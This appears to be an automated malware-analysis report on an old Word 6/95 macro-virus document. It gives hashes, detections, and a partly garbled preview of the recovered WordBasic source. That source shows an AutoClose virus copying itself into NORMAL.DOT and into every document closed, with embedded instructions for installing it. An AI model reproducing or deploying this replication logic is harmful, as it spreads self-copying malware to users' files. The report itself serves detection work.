Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b1593f4d99ac301…

MALICIOUS

Office (OLE)

8.5 KB First seen: 2012-06-14
MD5: 658de7b9df06f1252cf5f330fbaa026b SHA-1: 47d6478ec6ea98512c5cd6a53d0b155dc60de2c3 SHA-256: 3b1593f4d99ac30179d61626369edf5277b9926c458d912aede838eb5a0eb254
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and the embedded text describing a demonstration of a document virus. The 'AutoClose' macro functionality suggests an attempt to execute code upon document closure, a common technique for older macro malware.

Heuristics 3

  • ClamAV: Win.Trojan.DMV-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.DMV-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2493 bytes
SHA-256: 6ab26ec29426084b32768ff1ad4a5ba7761f06b2041fd4b0127d27ee5110bb49
Preview script
First 1,000 lines of the extracted script
29551
   demonstrates an application-specific document virusdp6 generated by an automatic macro in Microsoft Word fordp> Wi
    29551
        8313  
,  
e actions.ddp= The purpose of this code is to reveal a significant securitydp4 risk in software that supports macro la @cmd6175 @cmd7365   hdp> auto-loading capabilities.  Current virus detection tools aredp; not presently capable of detecting this type o   ,  
        29545 31084            
     code in the macro Window of a Word documentdp: template. Save the macro as AutoClose.  Enter some randomdp? text i      word processing window and save the document.dp8 Now copy the file, naming the new file VIRUS.DOC.  Opendp= V    Word.  It will appear as a normal document, butdp5 when you close the document, the virus will execute.ddp8 M @cmd2065  
31073   @cmd6572      
  19744 ,     ,  
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MAIN
title$ = "Document Macro Virus"
@cmd802b "Counting global macros." , title$ , 16
  REM how many macros are globally ava 25185 11877
total = @cmd80b7 0
present = 0
  REM and see if the AutoClose macro i   25964
    @cmd6f6c 25646 total 0
cycle = 1 total
@cmd80b8 cycle , 0 = "AutoClose"
@cmd802b "AutoClose macro vir. is already installed in NORMAL.DOT." , title$ , 16
present = 1
a$ = @cmd803b = ":AutoClose"
    29551     ,          
present 1
@cmd80c2 a$ , "Global:AutoClose"
@cmd802b "Infected NORMAL.DOT with copy of AutoClose macro virus." , title$ , 16
    28524 g code infects a document each time it is closed.dp? This effectively spreads the macro virus each time an inf
   opened by Word.dd dQp8 If AutoClose is already global and the file hasn't beendQp) infected yet, save the current  8293  
  29793  
     AutoClose is already in the document.  Don't needdQp8 to check names because the virus would be the o 8313
  @cmd6120        
present = 0
@cmd80b7 1 0
@cmd802b "AutoClose macro virus already present in this document." , title$ , 16
present = 1
      29793
present = 0
@cmd0054 = 1
@cmd802b "Saved current document as template." , title$ , 16
        29551      
@cmd80c2 "Global:AutoClose" , a$
@cmd802b "Infected current doc. with copy of AutoClose macro vir." , title$ , 16
          fected, thendp= execute the following macro code (this could be destructive,dp8 such as a Kill command, invasi ,          
  8293
,     29541 ,       25441  
@cmd802b "Macro vir. has been spread. Now execute some other code." , title$ , 16

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